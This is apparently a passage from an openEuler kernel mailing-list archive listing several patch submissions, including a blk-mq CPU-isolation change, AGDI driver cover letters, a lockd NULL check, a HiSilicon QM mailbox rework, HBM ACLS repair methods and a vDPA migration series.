1 + drivers/firmware/arm_sdei.c | 32 ++++++---- include/acpi/actbl2.h | 20 ++++++ include/acpi/apei.h | 4 +- include/acpi/ghes.h | 20 +----- include/linux/acpi_agdi.h | 13 ++++ include/linux/arm_sdei.h | 4 ++ 20 files changed, 283 insertions(+), 59 deletions(-) create mode 100644 drivers/acpi/arm64/agdi.c create mode 100644 include/linux/acpi_agdi.h -- 2.33.0

2 8

[PATCH OLK-5.10] blk-mq: avoid housekeeping CPUs scheduling a worker on a non-housekeeping CPU
by Xiongfeng Wang 06 Nov '23

06 Nov '23

hulk inclusion category: feature bugzilla: https://gitee.com/openeuler/kernel/issues/I7ZBTV CVE: N/A ---------------------------------------------------- When NOHZ_FULL is enabled, such as in HPC situation, CPUs are divided into housekeeping CPUs and non-housekeeping CPUs. Non-housekeeping CPUs are NOHZ_FULL CPUs and are often monopolized by the userspace process, such HPC application process. Any sort of interruption is not expected. blk_mq_hctx_next_cpu() selects each cpu in 'hctx->cpumask' alternately to schedule the work thread blk_mq_run_work_fn(). When 'hctx->cpumask' contains housekeeping CPU and non-housekeeping CPU at the same time, a housekeeping CPU, which want to request a IO, may schedule a worker on a non-housekeeping CPU. This may affect the performance of the userspace application running on non-housekeeping CPUs. So let's just schedule the worker thread on the current CPU when the current CPU is housekeeping CPU. Signed-off-by: Xiongfeng Wang <wangxiongfeng2(a)huawei.com> --- block/blk-mq.c | 11 ++++++++++- include/linux/sched/isolation.h | 2 ++ kernel/sched/isolation.c | 8 ++++++++ 3 files changed, 20 insertions(+), 1 deletion(-) diff --git a/block/blk-mq.c b/block/blk-mq.c index 1d1200afb771..d0dce9ef9499 100644 --- a/block/blk-mq.c +++ b/block/blk-mq.c @@ -23,6 +23,7 @@ #include <linux/sched/sysctl.h> #include <linux/sched/topology.h> #include <linux/sched/signal.h> +#include <linux/sched/isolation.h> #include <linux/delay.h> #include <linux/crash_dump.h> #include <linux/prefetch.h> @@ -1676,6 +1677,8 @@ static int blk_mq_hctx_next_cpu(struct blk_mq_hw_ctx *hctx) static void __blk_mq_delay_run_hw_queue(struct blk_mq_hw_ctx *hctx, bool async, unsigned long msecs) { + int work_cpu; + if (unlikely(blk_mq_hctx_stopped(hctx))) return; @@ -1697,7 +1700,13 @@ static void __blk_mq_delay_run_hw_queue(struct blk_mq_hw_ctx *hctx, bool async, if (!percpu_ref_tryget(&hctx->queue->q_usage_counter)) return; - kblockd_mod_delayed_work_on(blk_mq_hctx_next_cpu(hctx), &hctx->run_work, + if (enhanced_isolcpus && tick_nohz_full_enabled() && + housekeeping_cpu(smp_processor_id(), HK_FLAG_WQ)) + work_cpu = smp_processor_id(); + else + work_cpu = blk_mq_hctx_next_cpu(hctx); + + kblockd_mod_delayed_work_on(work_cpu, &hctx->run_work, msecs_to_jiffies(msecs)); percpu_ref_put(&hctx->queue->q_usage_counter); } diff --git a/include/linux/sched/isolation.h b/include/linux/sched/isolation.h index cc9f393e2a70..2f93081ad7a0 100644 --- a/include/linux/sched/isolation.h +++ b/include/linux/sched/isolation.h @@ -18,6 +18,7 @@ enum hk_flags { }; #ifdef CONFIG_CPU_ISOLATION +extern bool enhanced_isolcpus; DECLARE_STATIC_KEY_FALSE(housekeeping_overridden); extern int housekeeping_any_cpu(enum hk_flags flags); extern const struct cpumask *housekeeping_cpumask(enum hk_flags flags); @@ -28,6 +29,7 @@ extern void __init housekeeping_init(void); #else +#define enhanced_isolcpus 0 static inline int housekeeping_any_cpu(enum hk_flags flags) { return smp_processor_id(); diff --git a/kernel/sched/isolation.c b/kernel/sched/isolation.c index 5a6ea03f9882..785ef5201116 100644 --- a/kernel/sched/isolation.c +++ b/kernel/sched/isolation.c @@ -198,3 +198,11 @@ static int __init housekeeping_isolcpus_setup(char *str) return housekeeping_setup(str, flags); } __setup("isolcpus=", housekeeping_isolcpus_setup); + +bool enhanced_isolcpus; +static int __init enhanced_isolcpus_setup(char *str) +{ + enhanced_isolcpus = true; + return 0; +} +__setup("enhanced_isolcpus", enhanced_isolcpus_setup); -- 2.20.1

3 3

[PATCH OLK-5.10 v3 0/7] AGDI: Add driver for Arm Generic Diagnostic Dump and Reset device
by Qian Zou 06 Nov '23

06 Nov '23

From: “z00447436” <zouqian4(a)huawei.com> Some use-cases, such as system management, require the ability to generate a non-maskable event to the OS to request the OS kernel to perform a diagnostic dump and reset the system. Arm Generic Diagnostic Dump and Reset device enables a maintainer to request OS to perform a diagnostic dump and reset a system via SDEI event or an interrupt. This patch implements SDEI path and discards the interrupted context before proceeding to the crash kernel. D Scott Phillips (1): arm64: sdei: abort running SDEI handlers during crash Ilkka Koskinen (4): ACPI: tables: Add AGDI to the list of known table signatures ACPI: AGDI: Add driver for Arm Generic Diagnostic Dump and Reset device ACPICA: iASL: Add suppport for AGDI table ACPI: AGDI: Fix missing prototype warning for acpi_agdi_init() Jia He (1): EDAC/ghes: Make ghes_edac a proper module Shuai Xue (1): ACPI: APEI: explicit init of HEST and GHES in apci_init() arch/arm64/include/asm/sdei.h | 6 ++ arch/arm64/kernel/entry.S | 27 +++++++- arch/arm64/kernel/sdei.c | 3 + arch/arm64/kernel/smp.c | 8 +-- drivers/acpi/apei/ghes.c | 23 +++---- drivers/acpi/arm64/Kconfig | 10 +++ drivers/acpi/arm64/Makefile | 1 + drivers/acpi/arm64/agdi.c | 117 ++++++++++++++++++++++++++++++++++ drivers/acpi/bus.c | 4 ++ drivers/acpi/pci_root.c | 3 - drivers/acpi/tables.c | 2 +- drivers/edac/Kconfig | 4 +- drivers/edac/ghes_edac.c | 40 +++++++++++- drivers/firmware/Kconfig | 1 + drivers/firmware/arm_sdei.c | 32 ++++++---- include/acpi/actbl2.h | 20 ++++++ include/acpi/apei.h | 4 +- include/acpi/ghes.h | 25 -------- include/linux/acpi_agdi.h | 13 ++++ include/linux/arm_sdei.h | 4 ++ 20 files changed, 281 insertions(+), 66 deletions(-) create mode 100644 drivers/acpi/arm64/agdi.c create mode 100644 include/linux/acpi_agdi.h -- 2.33.0

2 8

[PATCH OLK-5.10 v2 0/7] AGDI: Add driver for Arm Generic Diagnostic Dump and Reset device
by Qian Zou 06 Nov '23

06 Nov '23

From: “z00447436” <zouqian4(a)huawei.com> Some use-cases, such as system management, require the ability to generate a non-maskable event to the OS to request the OS kernel to perform a diagnostic dump and reset the system. Arm Generic Diagnostic Dump and Reset device enables a maintainer to request OS to perform a diagnostic dump and reset a system via SDEI event or an interrupt. This patch implements SDEI path and discards the interrupted context before proceeding to the crash kernel. D Scott Phillips (1): arm64: sdei: abort running SDEI handlers during crash Ilkka Koskinen (4): ACPI: tables: Add AGDI to the list of known table signatures ACPI: AGDI: Add driver for Arm Generic Diagnostic Dump and Reset device ACPICA: iASL: Add suppport for AGDI table ACPI: AGDI: Fix missing prototype warning for acpi_agdi_init() Jia He (1): EDAC/ghes: Make ghes_edac a proper module Shuai Xue (1): ACPI: APEI: explicit init of HEST and GHES in apci_init() arch/arm64/include/asm/sdei.h | 6 ++ arch/arm64/kernel/entry.S | 27 +++++++- arch/arm64/kernel/sdei.c | 3 + arch/arm64/kernel/smp.c | 8 +-- drivers/acpi/apei/ghes.c | 23 +++---- drivers/acpi/arm64/Kconfig | 10 +++ drivers/acpi/arm64/Makefile | 1 + drivers/acpi/arm64/agdi.c | 117 ++++++++++++++++++++++++++++++++++ drivers/acpi/bus.c | 4 ++ drivers/acpi/pci_root.c | 3 - drivers/acpi/tables.c | 2 +- drivers/edac/Kconfig | 4 +- drivers/edac/ghes_edac.c | 40 +++++++++++- drivers/firmware/Kconfig | 1 + drivers/firmware/arm_sdei.c | 32 ++++++---- include/acpi/actbl2.h | 20 ++++++ include/acpi/apei.h | 4 +- include/acpi/ghes.h | 25 -------- include/linux/acpi_agdi.h | 13 ++++ include/linux/arm_sdei.h | 4 ++ 20 files changed, 281 insertions(+), 66 deletions(-) create mode 100644 drivers/acpi/arm64/agdi.c create mode 100644 include/linux/acpi_agdi.h -- 2.33.0

2 8

[PATCH openEuler-1.0-LTS] fs: lockd: avoid possible wrong NULL parameter
by ZhaoLong Wang 06 Nov '23

06 Nov '23

From: Su Hui <suhui(a)nfschina.com> stable inclusion from stable-v4.19.295 commit 35f0749756b848ad4f4a165ad6b1dfa8d0e45a96 category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I8E5Q5 CVE: NA Reference: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id… -------------------------------- [ Upstream commit de8d38cf44bac43e83bad28357ba84784c412752 ] clang's static analysis warning: fs/lockd/mon.c: line 293, column 2: Null pointer passed as 2nd argument to memory copy function. Assuming 'hostname' is NULL and calling 'nsm_create_handle()', this will pass NULL as 2nd argument to memory copy function 'memcpy()'. So return NULL if 'hostname' is invalid. Fixes: 77a3ef33e2de ("NSM: More clean up of nsm_get_handle()") Signed-off-by: Su Hui <suhui(a)nfschina.com> Reviewed-by: Nick Desaulniers <ndesaulniers(a)google.com> Reviewed-by: Jeff Layton <jlayton(a)kernel.org> Signed-off-by: Chuck Lever <chuck.lever(a)oracle.com> Signed-off-by: Sasha Levin <sashal(a)kernel.org> Signed-off-by: ZhaoLong Wang <wangzhaolong1(a)huawei.com> --- fs/lockd/mon.c | 3 +++ 1 file changed, 3 insertions(+) diff --git a/fs/lockd/mon.c b/fs/lockd/mon.c index 654594ef4f94..68a2eac548c3 100644 --- a/fs/lockd/mon.c +++ b/fs/lockd/mon.c @@ -275,6 +275,9 @@ static struct nsm_handle *nsm_create_handle(const struct sockaddr *sap, { struct nsm_handle *new; + if (!hostname) + return NULL; + new = kzalloc(sizeof(*new) + hostname_len + 1, GFP_KERNEL); if (unlikely(new == NULL)) return NULL; -- 2.34.3

2 1

[PATCH openEuler-1.0-LTS] crypto: hisilicon - qm obtain the mailbox config at one time
by wangyuan 06 Nov '23

06 Nov '23

From: Yu'an Wang <wangyuan46(a)huawei.com> driver inclusion category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I8E0N4 CVE: NA -------------------------------- The mailbox configuration needs to be obtained from the hardware at one time. If the mailbox configuration is obtained for multiple times, the read value may be incorrect. Use the instruction to read mailbox data instead of readl. Signed-off-by: Yu'an Wang <wangyuan46(a)huawei.com> --- drivers/crypto/hisilicon/qm.c | 187 +++++++++++++++++++++++++--------- 1 file changed, 137 insertions(+), 50 deletions(-) diff --git a/drivers/crypto/hisilicon/qm.c b/drivers/crypto/hisilicon/qm.c index f2706dc0d55e..64e8ef1bf8e7 100644 --- a/drivers/crypto/hisilicon/qm.c +++ b/drivers/crypto/hisilicon/qm.c @@ -37,6 +37,7 @@ #define QM_MB_OP_SHIFT 14 #define QM_MB_CMD_DATA_ADDR_L 0x304 #define QM_MB_CMD_DATA_ADDR_H 0x308 +#define QM_MB_STATUS_MASK GENMASK(12, 9) /* sqc shift */ #define QM_SQ_HOP_NUM_SHIFT 0 @@ -113,7 +114,7 @@ #define QM_SQC_VFT_NUM_MASK_v2 0x3ff #define QM_DFX_CNT_CLR_CE 0x100118 -#define QM_IN_IDLE_ST_REG 0x1040e4 +#define QM_IN_IDLE_ST_REG 0x1040e4 #define QM_ABNORMAL_INT_SOURCE 0x100000 #define QM_ABNORMAL_INT_MASK 0x100004 @@ -169,6 +170,8 @@ #define TASK_TIMEOUT 10000 #define WAIT_PERIOD 20 +#define QM_MB_WAIT_READY_CNT 10 +#define QM_MB_MAX_WAIT_CNT 21000 #define WAIT_PERIOD_US_MAX 200 #define WAIT_PERIOD_US_MIN 100 #define REMOVE_WAIT_DELAY 10 @@ -382,16 +385,6 @@ static bool qm_qp_avail_state(struct hisi_qm *qm, struct hisi_qp *qp, return avail; } -/* return 0 mailbox ready, -ETIMEDOUT hardware timeout */ -static int qm_wait_mb_ready(struct hisi_qm *qm) -{ - u32 val; - - return readl_relaxed_poll_timeout(qm->io_base + QM_MB_CMD_SEND_BASE, - val, !((val >> QM_MB_BUSY_SHIFT) & - 0x1), POLL_PERIOD, POLL_TIMEOUT); -} - /* 128 bit should be wrote to hardware at one time to trigger a mailbox */ static void qm_mb_write(struct hisi_qm *qm, const void *src) { @@ -400,7 +393,7 @@ static void qm_mb_write(struct hisi_qm *qm, const void *src) asm volatile("ldp %0, %1, %3\n" "stp %0, %1, %2\n" - "dsb sy\n" + "dmb oshst\n" : "=&r" (tmp0), "=&r" (tmp1), "+Q" (*((char __iomem *)fun_base)) @@ -408,45 +401,142 @@ static void qm_mb_write(struct hisi_qm *qm, const void *src) : "memory"); } -static int qm_mb(struct hisi_qm *qm, u8 cmd, dma_addr_t dma_addr, u16 queue, - bool op) +/* 128 bit should be read from hardware at one time*/ +static void qm_mb_read(struct hisi_qm *qm, void *dst) +{ + const void __iomem *fun_base = qm->io_base + QM_MB_CMD_SEND_BASE; + unsigned long tmp0 = 0, tmp1 = 0; + + asm volatile("ldp %0, %1, %3\n" + "stp %0, %1, %2\n" + "dmb oshst\n" + : "=&r" (tmp0), + "=&r" (tmp1), + "+Q" (*((char *)dst)) + : "Q" (*((char __iomem *)fun_base)) + : "memory"); +} + +static int qm_wait_mb_ready(struct hisi_qm *qm) { struct qm_mailbox mailbox; - int ret = 0; + int i = 0; + + while (i++ < QM_MB_WAIT_READY_CNT) { + qm_mb_read(qm, &mailbox); + if (!((le16_to_cpu(mailbox.w0) >> QM_MB_BUSY_SHIFT) & 0x1)) + return 0; - dev_dbg(&qm->pdev->dev, "QM mailbox request to q%u: %u\n", queue, cmd); + usleep_range(WAIT_PERIOD_US_MIN, WAIT_PERIOD_US_MAX); + } - mailbox.w0 = cpu_to_le16(cmd | - (op ? 0x1 << QM_MB_OP_SHIFT : 0) | - (0x1 << QM_MB_BUSY_SHIFT)); - mailbox.queue_num = cpu_to_le16(queue); - mailbox.base_l = cpu_to_le32(lower_32_bits(dma_addr)); - mailbox.base_h = cpu_to_le32(upper_32_bits(dma_addr)); - mailbox.rsvd = 0; + dev_err(&qm->pdev->dev, "QM mailbox is busy to start!\n"); - mutex_lock(&qm->mailbox_lock); + return -EBUSY; +} + +static int qm_wait_mb_finish(struct hisi_qm *qm, struct qm_mailbox *mailbox) +{ + int i = 0; + + while (++i) { + qm_mb_read(qm, mailbox); + if (!((le16_to_cpu(mailbox->w0) >> QM_MB_BUSY_SHIFT) & 0x1)) + break; + + if (i > QM_MB_MAX_WAIT_CNT) { + dev_err(&qm->pdev->dev, + "QM mailbox operation timeout!\n"); + return -ETIMEDOUT; + } - if (unlikely(qm_wait_mb_ready(qm))) { - ret = -EBUSY; - dev_err(&qm->pdev->dev, "QM mailbox is busy to start!\n"); - goto busy_unlock; + usleep_range(WAIT_PERIOD_US_MIN, WAIT_PERIOD_US_MAX); + } + + if (le16_to_cpu(mailbox->w0) & QM_MB_STATUS_MASK) { + dev_err(&qm->pdev->dev, "QM mailbox operation failed!\n"); + return -EIO; } - qm_mb_write(qm, &mailbox); + return 0; +} - if (unlikely(qm_wait_mb_ready(qm))) { - ret = -EBUSY; - dev_err(&qm->pdev->dev, "QM mailbox operation timeout!\n"); - goto busy_unlock; +static int qm_mb_nolock(struct hisi_qm *qm, struct qm_mailbox *mailbox) +{ + int ret; + + ret = qm_wait_mb_ready(qm); + if (ret) + goto mb_busy; + + qm_mb_write(qm, mailbox); + + ret = qm_wait_mb_finish(qm, mailbox); + if (ret) + goto mb_busy; + + return 0; + +mb_busy: + atomic64_inc(&qm->debug.dfx.mb_err_cnt); + return ret; +} + +static void qm_mb_pre_init(struct qm_mailbox *mailbox, u8 cmd, + u64 base, u16 queue, bool op) +{ + mailbox->w0 = cpu_to_le16((cmd) | + ((op) ? 0x1 << QM_MB_OP_SHIFT : 0) | + (0x1 << QM_MB_BUSY_SHIFT)); + mailbox->queue_num = cpu_to_le16(queue); + mailbox->base_l = cpu_to_le32(lower_32_bits(base)); + mailbox->base_h = cpu_to_le32(upper_32_bits(base)); + mailbox->rsvd = 0; +} + +static int qm_check_dev_error(struct hisi_qm *qm); +static int hisi_qm_mb_write(struct hisi_qm *qm, u8 cmd, dma_addr_t dma_addr, + u16 queue, bool op) +{ + struct hisi_qm *pf_qm = pci_get_drvdata(pci_physfn(qm->pdev)); + struct qm_mailbox mailbox; + int ret; + + dev_dbg(&qm->pdev->dev, "QM mailbox request to q%u: %u.\n", queue, cmd); + + /* No need to judge if master OOO is blocked. */ + if (qm_check_dev_error(pf_qm)) { + dev_err(&qm->pdev->dev, + "QM mailbox operation failed since qm is stop!\n"); + return -EIO; } -busy_unlock: + qm_mb_pre_init(&mailbox, cmd, dma_addr, queue, op); + mutex_lock(&qm->mailbox_lock); + ret = qm_mb_nolock(qm, &mailbox); mutex_unlock(&qm->mailbox_lock); - if (ret) - atomic64_inc(&qm->debug.dfx.mb_err_cnt); + return ret; } +static int hisi_qm_mb_read(struct hisi_qm *qm, u64 *base, u8 cmd, u16 queue) +{ + struct qm_mailbox mailbox; + int ret; + + qm_mb_pre_init(&mailbox, cmd, 0, queue, 1); + mutex_lock(&qm->mailbox_lock); + ret = qm_mb_nolock(qm, &mailbox); + mutex_unlock(&qm->mailbox_lock); + if (ret) + return ret; + + *base = le32_to_cpu(mailbox.base_l) | + ((u64)le32_to_cpu(mailbox.base_h) << 32); + + return 0; +} + static void qm_db_v1(struct hisi_qm *qm, u16 qn, u8 cmd, u16 index, u8 priority) { u64 doorbell; @@ -826,12 +916,10 @@ static int qm_get_vft_v2(struct hisi_qm *qm, u32 *base, u32 *number) u64 sqc_vft; int ret; - ret = qm_mb(qm, QM_MB_CMD_SQC_VFT_V2, 0, 0, 1); + ret = hisi_qm_mb_read(qm, &sqc_vft, QM_MB_CMD_SQC_VFT_V2, 0); if (ret) return ret; - sqc_vft = readl(qm->io_base + QM_MB_CMD_DATA_ADDR_L) | - ((u64)readl(qm->io_base + QM_MB_CMD_DATA_ADDR_H) << 32); *base = QM_SQC_VFT_BASE_MASK_V2 & (sqc_vft >> QM_SQC_VFT_BASE_SHIFT_V2); *number = (QM_SQC_VFT_NUM_MASK_v2 & (sqc_vft >> QM_SQC_VFT_NUM_SHIFT_V2)) + 1; @@ -1144,12 +1232,12 @@ static int dump_show(struct hisi_qm *qm, void *info, static int qm_dump_sqc_raw(struct hisi_qm *qm, dma_addr_t dma_addr, u16 qp_id) { - return qm_mb(qm, QM_MB_CMD_SQC, dma_addr, qp_id, 1); + return hisi_qm_mb_write(qm, QM_MB_CMD_SQC, dma_addr, qp_id, 1); } static int qm_dump_cqc_raw(struct hisi_qm *qm, dma_addr_t dma_addr, u16 qp_id) { - return qm_mb(qm, QM_MB_CMD_CQC, dma_addr, qp_id, 1); + return hisi_qm_mb_write(qm, QM_MB_CMD_CQC, dma_addr, qp_id, 1); } static int qm_sqc_dump(struct hisi_qm *qm, const char *s) @@ -1260,7 +1348,7 @@ static int qm_eqc_dump(struct hisi_qm *qm, char *s) if (IS_ERR(eqc)) return PTR_ERR(eqc); - ret = qm_mb(qm, QM_MB_CMD_EQC, eqc_dma, 0, 1); + ret = hisi_qm_mb_write(qm, QM_MB_CMD_EQC, eqc_dma, 0, 1); if (ret) goto mailbox_fail; @@ -1289,7 +1377,7 @@ static int qm_aeqc_dump(struct hisi_qm *qm, char *s) if (IS_ERR(aeqc)) return PTR_ERR(aeqc); - ret = qm_mb(qm, QM_MB_CMD_AEQC, aeqc_dma, 0, 1); + ret = hisi_qm_mb_write(qm, QM_MB_CMD_AEQC, aeqc_dma, 0, 1); if (ret) goto mailbox_fail; @@ -1834,7 +1922,7 @@ static int qm_sq_ctx_cfg(struct hisi_qp *qp, int qp_id, int pasid) sqc->cq_num = cpu_to_le16(qp_id); sqc->w13 = cpu_to_le16(QM_MK_SQC_W13(0, 1, qp->alg_type)); - ret = qm_mb(qm, QM_MB_CMD_SQC, sqc_dma, qp_id, 0); + ret = hisi_qm_mb_write(qm, QM_MB_CMD_SQC, sqc_dma, qp_id, 0); dma_unmap_single(dev, sqc_dma, sizeof(struct qm_sqc), DMA_TO_DEVICE); kfree(sqc); @@ -1874,7 +1962,7 @@ static int qm_cq_ctx_cfg(struct hisi_qp *qp, int qp_id, int pasid) cqc->dw6 = cpu_to_le32(1 << QM_CQ_PHASE_SHIFT | qp->c_flag << QM_CQ_FLAG_SHIFT); - ret = qm_mb(qm, QM_MB_CMD_CQC, cqc_dma, qp_id, 0); + ret = hisi_qm_mb_write(qm, QM_MB_CMD_CQC, cqc_dma, qp_id, 0); dma_unmap_single(dev, cqc_dma, sizeof(struct qm_cqc), DMA_TO_DEVICE); kfree(cqc); @@ -2894,7 +2982,7 @@ static int qm_eq_ctx_cfg(struct hisi_qm *qm) if (qm->ver == QM_HW_V1) eqc->dw3 = cpu_to_le32(QM_EQE_AEQE_SIZE); eqc->dw6 = cpu_to_le32((QM_EQ_DEPTH - 1) | (1 << QM_EQC_PHASE_SHIFT)); - ret = qm_mb(qm, QM_MB_CMD_EQC, eqc_dma, 0, 0); + ret = hisi_qm_mb_write(qm, QM_MB_CMD_EQC, eqc_dma, 0, 0); dma_unmap_single(dev, eqc_dma, sizeof(struct qm_eqc), DMA_TO_DEVICE); kfree(eqc); @@ -2921,7 +3009,7 @@ static int qm_aeq_ctx_cfg(struct hisi_qm *qm) aeqc->base_l = cpu_to_le32(lower_32_bits(qm->aeqe_dma)); aeqc->base_h = cpu_to_le32(upper_32_bits(qm->aeqe_dma)); aeqc->dw6 = cpu_to_le32((QM_Q_DEPTH - 1) | (1 << QM_EQC_PHASE_SHIFT)); - ret = qm_mb(qm, QM_MB_CMD_AEQC, aeqc_dma, 0, 0); + ret = hisi_qm_mb_write(qm, QM_MB_CMD_AEQC, aeqc_dma, 0, 0); dma_unmap_single(dev, aeqc_dma, sizeof(struct qm_aeqc), DMA_TO_DEVICE); kfree(aeqc); @@ -2969,11 +3057,11 @@ static int __hisi_qm_start(struct hisi_qm *qm) if (ret) return ret; - ret = qm_mb(qm, QM_MB_CMD_SQC_BT, qm->sqc_dma, 0, 0); + ret = hisi_qm_mb_write(qm, QM_MB_CMD_SQC_BT, qm->sqc_dma, 0, 0); if (ret) return ret; - ret = qm_mb(qm, QM_MB_CMD_CQC_BT, qm->cqc_dma, 0, 0); + ret = hisi_qm_mb_write(qm, QM_MB_CMD_CQC_BT, qm->cqc_dma, 0, 0); if (ret) return ret; @@ -3194,7 +3282,6 @@ static ssize_t qm_status_read(struct file *filp, char __user *buffer, return (*pos = len); } - static const struct file_operations qm_status_fops = { .owner = THIS_MODULE, .open = simple_open, -- 2.30.0

2 1

[PATCH V5 OLK-5.10] soc: hisilicon: hisi_hbmdev: Add hbm acls repair and query methods
by Zhang Zekun 06 Nov '23

06 Nov '23

hulk inclusion category: feature bugzilla: https://gitee.com/openeuler/kernel/issues/I8CCP5 ---------------------------------- Hbm memory device add support for acls hot repair. The patch add two methods for userpace: - query a paddr if it support acls repair - repair a paddr in hbm memory device The feature of ACLS hot repair can help to fix a memory error from userspace by passing through the error physical address to HBM hardware. Signed-off-by: Zhang Zekun <zhangzekun11(a)huawei.com> --- drivers/soc/hisilicon/Kconfig | 10 +++ drivers/soc/hisilicon/hisi_hbmdev.c | 134 ++++++++++++++++++++++++++++ 2 files changed, 144 insertions(+) diff --git a/drivers/soc/hisilicon/Kconfig b/drivers/soc/hisilicon/Kconfig index 383375f20cac..45754528873e 100644 --- a/drivers/soc/hisilicon/Kconfig +++ b/drivers/soc/hisilicon/Kconfig @@ -44,4 +44,14 @@ config HISI_HBMCACHE To compile the driver as a module, choose M here: the module will be called hisi_hbmcache. +config HISI_HBMDEV_ACLS + bool "Add support for HISI ACLS repair" + depends on HISI_HBMDEV + help + Add ACLS support for hbm device, which can be used to query and + repair hardware error in HBM devices. This feature need to work with + hardware firmwares. + + If not sure say no. + endmenu diff --git a/drivers/soc/hisilicon/hisi_hbmdev.c b/drivers/soc/hisilicon/hisi_hbmdev.c index 5b6b1618148c..a9cc78bde81b 100644 --- a/drivers/soc/hisilicon/hisi_hbmdev.c +++ b/drivers/soc/hisilicon/hisi_hbmdev.c @@ -11,6 +11,7 @@ #include <linux/node.h> #include <linux/arch_topology.h> #include <linux/memory_hotplug.h> +#include <linux/mm.h> #include "hisi_internal.h" @@ -25,6 +26,9 @@ struct cdev_node { struct memory_dev { struct kobject *memdev_kobj; struct kobject *topo_kobj; +#ifdef CONFIG_HISI_HBMDEV_ACLS + struct kobject *acls_kobj; +#endif struct cdev_node cdev_list; nodemask_t cluster_cpumask[MAX_NUMNODES]; }; @@ -85,6 +89,134 @@ static void memory_topo_init(void) kobject_put(mdev->topo_kobj); } +#ifdef CONFIG_HISI_HBMDEV_ACLS +static struct acpi_device *paddr_to_acpi_device(u64 paddr) +{ + unsigned long pfn; + int nid; + + pfn = __phys_to_pfn(paddr); + if (!pfn_valid(pfn)) + return NULL; + + nid = pfn_to_nid(pfn); + if (nid < 0 && nid >= MAX_NUMNODES) + return NULL; + + return hotplug_mdev[nid]; +} + +static ssize_t acls_query_store(struct kobject *kobj, + struct kobj_attribute *attr, + const char *buf, size_t count) +{ + struct acpi_object_list arg_list; + struct acpi_device *adev; + union acpi_object obj; + acpi_status status; + u64 paddr, res; + + if (kstrtoull(buf, 16, &paddr)) + return -EINVAL; + + adev = paddr_to_acpi_device(paddr); + if (!adev) + return -EINVAL; + + obj.type = ACPI_TYPE_INTEGER; + obj.integer.value = paddr; + arg_list.count = 1; + arg_list.pointer = &obj; + + status = acpi_evaluate_integer(adev->handle, "AQRY", &arg_list, &res); + if (ACPI_FAILURE(status)) + return -ENODEV; + + /* AQRY will return a positive error code to represent error status */ + if (IS_ERR_VALUE(-res)) + return -res; + else if (res) + return -ENODEV; + + return count; +} + +static struct kobj_attribute acls_query_store_attribute = + __ATTR(acls_query, 0200, NULL, acls_query_store); + +static ssize_t acls_repair_store(struct kobject *kobj, + struct kobj_attribute *attr, + const char *buf, size_t count) +{ + struct acpi_object_list arg_list; + struct acpi_device *adev; + union acpi_object obj; + acpi_status status; + u64 paddr, res; + + if (kstrtoull(buf, 16, &paddr)) + return -EINVAL; + + adev = paddr_to_acpi_device(paddr); + if (!adev) + return -EINVAL; + + obj.type = ACPI_TYPE_INTEGER; + obj.integer.value = paddr; + arg_list.count = 1; + arg_list.pointer = &obj; + + status = acpi_evaluate_integer(adev->handle, "AREP", &arg_list, &res); + if (ACPI_FAILURE(status)) + return -ENODEV; + + /* AREP will return a positive error code to represent error status */ + if (IS_ERR_VALUE(-res)) + return -res; + else if (res) + return -ENODEV; + + return count; +} +static struct kobj_attribute acls_repair_store_attribute = + __ATTR(acls_repair, 0200, NULL, acls_repair_store); + +static struct attribute *acls_attrs[] = { + &acls_query_store_attribute.attr, + &acls_repair_store_attribute.attr, + NULL, +}; + +static struct attribute_group acls_attr_group = { + .attrs = acls_attrs, +}; + +static void acls_init(void) +{ + int ret = -ENOMEM; + + mdev->acls_kobj = kobject_create_and_add("acls", mdev->memdev_kobj); + if (!mdev->acls_kobj) + goto out; + + ret = sysfs_create_group(mdev->acls_kobj, &acls_attr_group); + if (ret) + kobject_put(mdev->acls_kobj); + +out: + if (ret) + pr_err("ACLS hot repair is not enabled\n"); +} + +static void acls_remove(void) +{ + kobject_put(mdev->acls_kobj); +} +#else +static void acls_init(void) {} +static void acls_remove(void) {} +#endif + static int get_pxm(struct acpi_device *acpi_device, void *arg) { acpi_handle handle = acpi_device->handle; @@ -284,6 +416,7 @@ static int __init mdev_init(void) } memory_topo_init(); + acls_init(); return ret; } module_init(mdev_init); @@ -293,6 +426,7 @@ static void __exit mdev_exit(void) container_remove(); kobject_put(mdev->memdev_kobj); kobject_put(mdev->topo_kobj); + acls_remove(); kfree(mdev); } module_exit(mdev_exit); -- 2.17.1

3 2

[PATCH v4 OLK-5.10 00/29] Introduce some vdpa ops to support vdpa device live migrate
by Jiang Dongxu 06 Nov '23

06 Nov '23

From: jiangdongxu <jiangdongxu1(a)huawei.com> Patch 1-17: some bugfix and ops intruduced by upstream Patch 18-19: introduce vdpa device logging ops Patch 20-21: introduce vdpa device state ops Patch 22-23: introduce vdpa device migrate state ops Patch 24: introduce new vhost feature BYTEPMAPLOG Patch 25: export iommu_get_resv_regions/iommu_set_resv_regions Patch 26-27: some optimization about vhost-vdpa Patch 28: add vdpa/vhost-vdpa build config Patch 29: fix vhost-vdpa compile warnings Arnaldo Carvalho de Melo (1): tools include UAPI: Sync linux/vhost.h with the kernel sources Cindy Lu (2): vhost_vdpa: fix the crash in unmap a large memory vhost_vdpa: fix unmap process in no-batch mode Eugenio Pérez (1): vdpa: add get_backend_features vdpa operation Gautam Dawar (1): vhost-vdpa: free iommu domain after last use during cleanup Greg Kroah-Hartman (1): vhost-vdpa: vhost_vdpa_alloc_domain() should be using a const struct bus_type * Jason Gunthorpe (1): PCI/IOV: Add pci_iov_vf_id() to get VF index Sebastien Boeuf (3): vdpa: Add resume operation vhost-vdpa: Introduce RESUME backend feature bit vhost-vdpa: uAPI to resume the device Shannon Nelson (2): vhost_vdpa: tell vqs about the negotiated vhost_vdpa: support PACKED when setting-getting vring_base Shunsuke Mie (1): virtio: fix virtio transitional ids Stefano Garzarella (3): vhost-vdpa: fix an iotlb memory leak vdpa: add bind_mm/unbind_mm callbacks vhost-vdpa: use bind_mm/unbind_mm device callbacks Zhu Lingshan (1): virtio: update virtio id table, add transitional ids jiangdongxu (12): vdpa: add log operations vhost-vdpa: add uAPI for logging vdpa: add device state operations vhost-vdpa: add uAPI for device buffer vdpa: add vdpa device migration status ops vhost-vdpa: add uAPI for device migration status vhost: add VHOST feature VHOST_BACKEND_F_BYTEMAPLOG export iommu_get_resv_regions and iommu_set_resv_regions vhost-vdpa: Allow transparent MSI IOV vhost-vdpa: fix msi irq request err arm64: openeuler_defconfig: add VDPA config vhost-vdpa: fix compile warnings 